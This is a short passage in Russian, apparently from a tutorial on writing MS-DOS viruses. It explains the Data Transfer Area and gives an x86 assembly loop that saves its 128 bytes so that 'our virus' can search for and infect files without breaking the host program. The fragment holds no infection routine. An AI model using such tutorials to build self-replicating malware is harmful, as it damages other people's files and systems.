|
1.8 Запоминаем содержимое DTA
Data Transfer Arrea ( DTA ) является одной из служебных структур MS DOS . Эта область находится в
PSP по смещению 80h, и активно используется последней при работе с файлами .Например,многие функции MS DOS обращаются к DTA для чтения или модификации ее содержимого.Поскольку DOS строит PSP
для каждой вновь запускаемой программы, для каждой
из них создается и своя DTA .
Так как наш вирус будет использовать при заражении
и поиске файлов функции DOS,содержимое DTA зараженной программы будет испорчено, и она, скорее всего, не будет нормально работать.Поэтому содержимое
DTA необходимо сохранить. Для этой цели выделим
массив из 128 байт с именем "old_dta":
mov cx,80h
;Размер DTA -128 байт ...
mov bx,80h ;Смещение к DTA
lea si,old_dta ;Адрес массива
save_dta:
mov al,byte ptr cs:[bx] ;Читаем из DTA байт и переносим его в массив ...
mov ds:[si],al
inc bx ;К новому байту
inc si ;
loop save_dta ;Цикл 128 раз
Работа фрагмента пояснений не требует ...
|
|
|